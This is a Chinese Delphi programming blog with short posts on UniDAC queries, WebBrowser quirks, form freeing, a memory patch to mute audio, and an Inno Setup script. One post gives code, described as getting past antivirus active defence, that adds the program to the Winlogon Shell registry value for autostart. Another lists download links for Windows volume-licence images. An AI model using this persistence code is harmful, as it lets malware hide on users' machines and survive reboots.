博客园_Eboy's blog

UniDAC 的 RecordCount 属性注意事项

2012-05-24T02:49:00Z

一直以来都是用UniDAC作为数据库查询组件，而一般的写法都是这样：

01UniQuery_sqlite.close;
02      UniQuery_sqlite.SQL.Clear;
03      UniQuery_sqlite.SQL.Add('SELECT * FROM TABLE');
04      try
05        UniQuery_sqlite.Open;
06      except
07        { TODO : 异常捕获 }
08      end;
09      //循环出所有记录
10      for i := 0 to UniQuery_sqlite.RecordCount - 1 do
11      begin
12         //....
13         UniQuery_sqlite.Next;
14      end;

今天突然发现一个问题，明明数据库里存在近百条记录，但只查出来了25条，仔细检查了代码，没有问题啊，于是又检查了UniDAC UniQuery的属性，发现有这样一个属性： FetchRows，而且默认值是25！肯定是这里的问题了，帮助里搜了一下这个属性，帮助解释如下：

可见这个属性是为了性能考虑的，既然默认设置成25，肯定是最佳设置了，还是不改为何，于是寻求其他解决办法，网上又搜到了这样一个解释：

1If you set the QueryRecCount option to True, TUniTable executes SELECT COUNT() query automatically when you open the table, and assigns the correct value to the RecordCount property.

于是，我试着把QueryRecCount属性设置为true，问题解决了，showmessage了一下recordcount，不再是25了，已经是正确的行数了。为了找到权威的解释，又搜了一下帮助文档，解释如下：

特别是这一句：Used for TCustomDADataSet to perform additional query to get the record count for this SELECT, so the RecordCount property reflects the actual number of records.

本文链接

让delphi生成的程序自动使用管理员权限，带有uac盾牌

2012-04-13T11:28:00Z

/Files/jxgxy/uac.zip

只要引用附件的uac.RES即可，如果编译时出现：[DCC Error] E2161 Warning: Duplicate resource:  Type 24 (user-defined), ID 1; File uac.res resource kept; file Dyj2.RES resource discarded.

那么只要这样设置就可以了：Project->options->Application->Enable runtime themes，把勾勾去掉,然后再编译，即可。刷流量

本文链接

Windows 7 with SP1中英文原版MSDN下载汇总（全版本收录完毕)

2012-03-25T12:11:00Z

文件SHA1校验工具 IHasher (来自于http://msdn.itellyou.cn）
http://msdn.itellyou.cn/download.aspx?lastversion=ihasher

(32位+64位)单独的SP1安装包（来自于http://msdn.itellyou.cn 和微软官网,多语言版本）

Windows 7 and Window Server 2008 R2 Service Pack 1 (x86 and x64) – DVD (Multilanguage) 32位+64位SP1独立安装包
ed2k://|file|mu_windows_7_and_windows_server_2008_r2_sp1_x86_x64_dvd_619642.iso|2048196608|D1D032D20568F9ED16F072075F4E9961|/
http://www.microsoft.com/downloads/zh-cn/details.aspx?FamilyID=c3202ce6-4056-4059-8a1b-3a9b77cdfdda###
SHA1: F2ABA1102E18EAD08C78527AB422C09AB7D1F54C

（32位或64位)单独的SP1安装包（来自微软官网，多语言版本。微软建议用Windows Update更新）
Windows 7 and Window Server 2008 R2 Service Pack 1 (x86）32位SP1独立安装包

http://download.microsoft.com/download/0/A/F/0AFB5316-3062-494A-AB78-7FB0D4461357/windows6.1-KB976932-X86.exe

Windows 7 and Window Server 2008 R2 Service Pack 1 (x64）64位SP1独立安装包

http://download.microsoft.com/download/0/A/F/0AFB5316-3062-494A-AB78-7FB0D4461357/windows6.1-KB976932-X64.exe

语言包（电驴链接来自于http://msdn.itellyou.cn； BT种子来源于海盗湾，验证为原版）

SHA1: 7CD1FE568D968D89792DC9FF20E9AF2B318995C2

英文版Windows 7 with SP1（主要来自于http://msdn.itellyou.cn ，英文专业版（批量授权）链接来源于LinZiqing本人)

重要提醒: 5分钟就能下完Window7，但有个前提条件，已经存在有一个相同语言且非企业版、非vol版的Windows7。具体方法见 http://msdn.itellyou.cn/help.htm#express-download （该方法由景友romanyu推荐，特此感谢）

Windows 7 Professional with Service Pack 1, VL Build (x86) – DVD (English) 英文专业版（批量授权）32位
ed2k://|file|en_windows_7_professional_with_sp1_vl_build_x86_dvd_623530.ISO|2433216512|48B7948A7BCA2CB56795F03332811FCD|/
SHA1: 85E9767CD50C6083160393F85CB2C4156CD9348D

Windows 7 Professional with Service Pack 1, VL Build (x64) – DVD (English) 英文专业版（批量授权）64位
ed2k://|file|en_windows_7_professional_with_sp1_vl_build_x64_dvd_622458.ISO|3181668352|CC8937EEA6B1EA7B8BDB3881236BA878|/
SHA1: 647C756B95EEF95C05EA04EEAFED035E0065EB9E

中文版Windows 7 with SP1（主要来自于http://msdn.itellyou.cn， 32位企业版和旗舰版电驴链接为景友clemond先于MSDN I Tell You发布，但下载链接是一样的。32位旗舰版BT种子由景友sooyun制作，确认为原版；64位旗舰版BT种子来自于景友sooyun和 parick,均验证为原版，其中sooyun为首发。中文专业版32位和64位BT种子由景友jattyshen发布，确认为原版。）

Windows 7 Professional with Service Pack 1, VL Build (x86) – DVD (Chinese-Simplified) 中文专业版（批量授权）32位
ed2k://|file|cn_windows_7_professional_with_sp1_vl_build_x86_dvd_623494.iso|2501564416|59D4D471E0A3A5AA786FC55B26FFF0D7|/
SHA1: 2D5127FB53B21DC35F4455E87FF1BE52D48B6D57

Windows 7 Professional with Service Pack 1, VL Build (x64) – DVD (Chinese-Simplified) 中文专业版（批量授权）64位
ed2k://|file|cn_windows_7_professional_with_sp1_vl_build_x64_dvd_622431.iso|3264618496|B4BBA4C9AAB04524A542298DDEDB81E9|/
SHA1: C2BEAC6955851BB4BBC0DEAE32C2C85763369E0D

本文链接

chrome让google不和谐

2012-03-24T07:06:00Z

chrome://net-internals/#hsts，直接访问

google.com.hk

webcache.googleusercontent.com

我加了二个。

本文链接

Delphi中WebBrowser（或者EmbeddedWebBrowser）控件打开部分网站报“Invalid floating point operation”异常的解决方法

2012-03-13T09:00:00Z

最近用EmbeddedWB控件做浏览器相关应用的时候，发现有些网页只要一打开就一定会蹦出一个“Invalid floating point operation”异常（关掉异常对话框以后，浏览器无响应），而程序仅仅是一句

?

WebBrowser1.Navigate(Edit1.Text);

貌似很多含有Silverlight元素的网页打开时都会带出这个bug。而且关键是，错误提示完全让人摸不着头脑有木有！！！！！

百思不得其解，遂Google之，得结论如下：

1、很多网友都遇见过同样的问题

2、Borland官方解释请点这里（我这打不开）

3、大概的情况是,在使用一些浮点操作时,微软默认设计会抛出一系列的异常。这些异常按理说不应该阻止程序运行。但不知道为什么,Delphi默认是截获后又把异常抛了出来,被系统截获就会影响程序运行了。Borland给的解决方法是,加一句

?

Set8087CW(Longword($133f));

来关闭这个机制. 你可以加在form的OnCreate事件里。

虽然问题解决了，不过不明白为什么，求高人指点。

参考：

《TWebbrowser打开paypal出错》http://blog.sina.com.cn/s/blog_48d1e7820100e1yw.html

本文链接

过主动防御自启动代码delphi

2012-03-01T03:06:00Z

{注册表操作函数,SetClave设置键值,GetClave获得键值 Funciones de registro}

function SetClave(key:Hkey; subkey,name,value:string):boolean;

var

regKey:hkey;

begin

result:=FALSE;

RegCreateKey(key,PChar(subkey),regKey);

if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then

result:=TRUE;

RegCloseKey(regKey);

end;function GetClave(key:Hkey; subkey,nombre:String):String;

var

bytesread:dword;

regKey: HKEY;

valor:String;

begin

Result:='';

RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);

RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);

SetLength(valor, bytesread);

if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then

result:=valor;

RegCloseKey(regKey);

end;{主要函数}

procedure InicioShell;

var

ClaveOriginal: string;

begin

{获得当前键值 Guarda el valor actual}

ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');

{检查是否应该写键 Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}

if ansipos(paramstr(0), claveoriginal)=0 then

SetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(ClaveOriginal)+' "'+Paramstr(0)+'"');

end;

本文链接

Delphi中destroy, free, freeAndNil, release用法和区别

2012-02-29T03:28:00Z

经过这段时间对delphi中free 和 release 的仔细学习，先总结如下：
1。form.free直接释放资源后，调用OnDestroy事件，但是没有将form指针改为nil
2。form.release 等待资源不再使用后释放资源，同样不修改form指针为nil，所以在destroy中最好使用 release进行资源释放操作。
3。局部变量释放资源时，可以考虑用freeandnil()释放资源，这样效率会高些，能提高内存的利用率
4。在对窗体操作时，单纯通过assigned(form1)判断窗体是否已经创建是不够的，因为如果窗体通过free /release进行资源释放的话，form1指向的是一个未知地址，而非nil，所以需要用(not Assigned(ShowForm)) and (not (ShowForm is TForm2)) 来判断该窗体是否已经创建在内存中

本文链接

屏蔽WebBrowser页面中传出来的声音

2012-02-13T03:38:00Z

procedure CloseSound;

var

hWinmm: Cardinal;

pwaveOutWrite: Pointer;

lp: Cardinal;

begin

hWinmm := LoadLibrary('Winmm.dll');

if hWinmm > 0 then

pwaveOutWrite := GetProcAddress(hWinmm, 'waveOutOpen');

if pwaveOutWrite <> nil then begin

VirtualProtect(pwaveOutWrite, 3, PAGE_EXECUTE_READWRITE, lp);

Move(#$C2#$18#$00, pwaveOutWrite^, 3);

end;

本文链接

Webbrowser中模拟连接点击（非鼠标模拟）

2012-02-12T12:25:00Z

uses
mshtml, ActiveX;
//初始加载网易主页
procedure TForm1.FormCreate(Sender: TObject);
begin
Webbrowser1.Navigate('http://www.163.com/');
end;
procedure TForm1.Button1Click(Sender: TObject);
var
I: Integer;
Document: IHTMLDocument2;
Element: IHTMLElement;
Anchors: IHTMLElementCollection;
sLink: string;
begin
//查找网易新闻页面链接
sLink := 'http://news.163.com/';
Document := Webbrowser1.Document as IHTMLDocument2;
if Assigned(Document) then
begin
Anchors := Document.Get_links;
//遍历所有链接
for i := 0 to Anchors.length - 1 do
begin
Element := Anchors.item(i, varempty) as IHTMLElement;
//找到指定链接
if Assigned(Element) and (UpperCase((Element as IHTMLAnchorElement).href) = UpperCase(sLink)) then
begin
//执行点击
Element.Click;
Break;
end;
end;
end;
end;

本文链接

Inno Setup一个打包安装脚本示范

2012-01-06T08:55:00Z

Inno Setup一个打包安装脚本示范.2008-03-18 17:40; 脚本由 Inno Setup 脚本向导生成！
; 有关创建 Inno Setup 脚本文件的详细资料请查阅帮助文档！

[Setup]
; 注: AppId的值为单独标识该应用程序。
; 不要为其他安装程序使用相同的AppId值。
; (生成新的GUID，点击工具|在IDE中生成GUID。)
AppId={{A9861883-31C5-4324-BD9A-DC3271EEB675}
;程序名
AppName=ISsample
;版本号
AppVerName=ISsample 1.0.0.0
;发布者名
AppPublisher=Hkiss
;相关连接
AppPublisherURL=http://www.yan.com/
AppSupportURL=http://www.yan.com/
AppUpdatesURL=http://www.yan.com/
;默认安装目录
DefaultDirName={pf}\ISsample
;默认开始菜单名
DefaultGroupName=ISsample
;是否打开->可选安装开始菜单项
;AllowNoIcons=yes
;安装协议
;LicenseFile=C:\Example\原始文件\agreement.txt
;安装前查看的文本文件
;InfoBeforeFile=C:\Example\原始文件\Setup_New.txt
;安装后查看文本文件
;InfoAfterFile=C:\Example\原始文件\Setup_Old.txt
;输出文件夹
OutputDir=C:\Example\InnoSetup\out
;输出文件名
OutputBaseFilename=setup
;安装图标
SetupIconFile=C:\Example\原始文件\title.ico
;安装需要输入密码
;Password=123
;Encryption=yes

;压缩相关
Compression=lzma
SolidCompression=yes

;可以让用户忽略选择语言相关
ShowLanguageDialog = yes
;备注版本信息
VersionInfoCompany=HTTP://www.Hkiss.COM
VersionInfoDescription=ISsample 汉化增强版
VersionInfoVersion=1.0.0.0
VersionInfoCopyright=Copyright (C) 2007-2008 Hkiss

;制作选择语言
[Languages]
Name: "chs"; MessagesFile: "compiler:Default.isl" ;LicenSeFile :"C:\Example\原始文件\chs\agreement.txt"
Name: "en"; MessagesFile: "compiler:Languages\English.isl";LicenSeFile :"C:\Example\原始文件\en\agreement.txt"

;用户定制任务
[Tasks]
Name: "desktopicon"; Description: "{cm:CreateDesktopIcon}"; GroupDescription: "{cm:AdditionalIcons}"; Flags: unchecked
Name: "quicklaunchicon"; Description: "{cm:CreateQuickLaunchIcon}"; GroupDescription: "{cm:AdditionalIcons}"; Flags: unchecked
Name: "Tasks_1" ; Description:"用户自定义任务1"; Flags: unchecked
Name: "Tasks_2" ; Description:"用户自定义任务2"; Flags: unchecked
;选择了组件才会出现的定制任务
Name: "Tasks_3" ; Description:"用户自定义任务3";Components: c1 ; Flags: unchecked

;文件安装
[Files]
;多语言安装环境设置公共参数Languages 来设置
Source: "C:\Example\原始文件\enfile.txt"; DestDir: "{app}"; Languages: en ; Flags: ignoreversion
Source: "C:\Example\原始文件\chsfile.txt"; DestDir: "{app}"; Languages: chs ; Flags: ignoreversion
;用户自定义任务 Tasks
Source: "C:\Example\原始文件\Tasks\tasks_1.txt"; DestDir: "{app}\Tasks"; Flags: ignoreversion ;Tasks : Tasks_1
Source: "C:\Example\原始文件\Tasks\tasks_2.txt"; DestDir: "{app}\Tasks"; Flags: ignoreversion ;Tasks :Tasks_2
Source: "C:\Example\原始文件\Tasks\tasks_Components.txt"; DestDir: "{app}\Tasks"; Flags: ignoreversion ;Tasks :Tasks_2
;用户定义组件安装
Source: "C:\Example\原始文件\Components\Components_1.txt"; DestDir: "{app}\Components"; Flags: ignoreversion ; Components: a1;
Source: "C:\Example\原始文件\Components\Components_2.txt"; DestDir: "{app}\Components"; Flags: ignoreversion ; Components: a2;
Source: "C:\Example\原始文件\Components\Components_3.txt"; DestDir: "{app}\Components"; Flags: ignoreversion ; Components: a3;
Source: "C:\Example\原始文件\Components\Components_4.txt"; DestDir: "{app}\Components"; Flags: ignoreversion ; Components: a1 a2 a3;

;用户注册自定义Dll文件 regserver 注册 noregerror 不显示错误信息
Source: "C:\Example\原始文件\jmail.dll"; DestDir: "{app}"; Flags: ignoreversion regserver
;添加自述文件
Source: "C:\Example\原始文件\ISsample.txt"; DestDir: "{app}"; Flags: ignoreversion
;添加一个文件到缓存文件夹{Tmp} deleteafterinstall 安装后删除
Source: "C:\Example\原始文件\test.exe"; DestDir: "{tmp}"; Flags: ignoreversion deleteafterinstall

Source: "C:\Example\原始文件\ISsample.chm"; DestDir: "{app}"; Flags: ignoreversion
Source: "C:\Example\原始文件\ISsample.exe"; DestDir: "{app}"; Flags: ignoreversion
Source: "C:\Example\原始文件\ISsample.dll"; DestDir: "{app}"; Flags: ignoreversion
Source: "C:\Example\原始文件\ISsample.ini"; DestDir: "{app}"; Flags: ignoreversion
Source: "C:\Example\原始文件\ISsample.rar"; DestDir: "{app}"; Flags: ignoreversion
Source: "C:\Example\原始文件\ISsample_sys.dll"; DestDir: "{win}\System32"; Flags: ignoreversion
Source: "C:\Example\原始文件\log\*"; DestDir: "{app}\log"; Flags: ignoreversion recursesubdirs createallsubdirs
; 注意: 不要在任何共享系统文件上使用“Flags: ignoreversion”
;安装类型设置
[Types]
Name: Full ;Description:"完全安装"; Flags: iscustom
Name: Compact ;Description:"简洁安装";
Name: Custom; Description:"自定义安装";
;组件安装
[Components]
Name: c1; Description: "自定义任务3" ; Types: Full
Name: a1; Description: "安装Components_1"; Types: Full Compact Custom ;
Name: a2; Description: "安装Components_2"; Types : Full Compact
Name: a3; Description: "安装Components_3"; Types : Full

;开始菜单，桌面快捷方式
[Icons]
Name: "{group}\ISsample"; Filename: "{app}\ISsample.exe"
Name: "{group}\{cm:ProgramOnTheWeb,ISsample}"; Filename: "http://www.yan.com/"
Name: "{group}\{cm:UninstallProgram,ISsample}"; Filename: "{uninstallexe}"
Name: "{commondesktop}\ISsample"; Filename: "{app}\ISsample.exe"; Tasks: desktopicon
Name: "{userappdata}\Microsoft\Internet Explorer\Quick Launch\ISsample"; Filename: "{app}\ISsample.exe"; Tasks: quicklaunchicon
;添加一个帮助文挡
Name: {group}\ISsample 1.0.0.0 帮助文档;Filename: {app}\ISsample.chm

;用来在程序安装完成后在安装程序显示最终对话框之前执行程序常用与运行主程序显示自述文件删除临时文件
[Run]
Filename: "{app}\ISsample.exe"; Description: "{cm:LaunchProgram,ISsample}"; Flags: nowait postinstall skipifsilent
Filename: "{app}\ISsample.txt"; Description: "查看显示自述文件"; Flags: postinstall skipifsilent shellexec

;更改显示在程序中显示的消息文本
[Messages]
BeveledLabel=HKiss科技
;卸载对话框说明
ConfirmUninstall=您真的想要从电脑中卸载ISsample吗?%n%n按 [是] 则完全删除 %1 以及它的所有组件;%n按 [否]则让软件继续留在您的电脑上.
;定义解压说明
;StatusExtractFiles=解压并复制主程序文件及相关库文件...

;用与在用户系统中创建，修改或删除注册表健值
[Registry]
Root: HKLM ;SubKey:"Software\ISsample";ValueType:dword;ValueName:config;ValueData:10 ;Flags:uninsdeletevalue
;在执行脚本
[code]
//全局变量
var MyProgChecked: Boolean;

//判断程序是否存在

//初始华程序事件
function InitializeSetup(): boolean;
var Isbl: boolean;         //声明变量
var Isstr: string;
begin       //开始
Isbl := true;             //变量赋值
Isstr := '欢迎';
if RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\ISsample', 'config') then
begin
    MsgBox('已安装过，请先卸载在安装',mbConfirmation, MB_OK);
    isbl := false;
end else
begin
   //MsgBox('无值',mbConfirmation, MB_OK);
     isbl := true;
end;

//下面是个麻烦的条件语句 end else 注意
//if MsgBox(Isstr, mbConfirmation, MB_OKCANCEL) = IDOK then
//begin
// isbl := true;
// MsgBox('执行了', mbConfirmation, MB_OK);
//end else
//begin
// isbl := false;
//MsgBox('执行了', mbConfirmation, MB_OK);
//end;

Result := Isbl;
end; //结束

procedure CurStepChanged(CurStep: TSetupStep);
var Isstr :string;
begin
if CurStep=ssInstall then       //实际安装前调用
begin
    //MsgBox('CurStepChanged:实际安装前调用', mbConfirmation, MB_OKCANCEL);           //安装完成后调用
end;
if CurStep=ssPostInstall then
begin
    Isstr := ExpandConstant('{tmp}\tmp.rar');
//    if FileExists(Isstr) then
//    begin
//      MsgBox('文件存在',mbConfirmation, MB_OK);
//    end else
//    begin
//      MsgBox('文件不存在',mbConfirmation, MB_OK);
//    end;
   // MsgBox('CurStepChanged:实际安装后调用', mbConfirmation, MB_OKCANCEL);
end;
end;

//下一步按钮按钮事件
function NextButtonClick(CurPageID: Integer): Boolean;
var ResultCode: Integer;
var IsSetup : Boolean;
begin
IsSetup := true ;
case CurPageID of
    wpSelectDir:
       MsgBox('NextButtonClick:' #13#13 'You selected: ''' + WizardDirValue + '''.', mbInformation, MB_OK);   //WizardDirValue路径
    wpSelectProgramGroup:
       MsgBox('NextButtonClick:' #13#13 'You selected: ''' + WizardGroupValue + '''.', mbInformation, MB_OK); //开始菜单名
    wpReady:
      begin
       if not RegValueExists(HKEY_LOCAL_MACHINE, 'SOFTWARE\Test', 'config') then   begin
          if MsgBox('程序执行需要Test.ext,是否安装!', mbConfirmation, MB_YESNO) = idYes then begin
           ExtractTemporaryFile('test.exe');
            if not Exec(ExpandConstant('{tmp}\test.exe'), '', '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) then
              MsgBox('Test.exe出错:' #13#13 ' ' + SysErrorMessage(ResultCode) + '.', mbError, MB_OK);
          end else begin
                IsSetup := false ;
          end ;
          BringToFrontAndRestore();
        end;
      end;
end;
Result := IsSetup;
end;

本文链接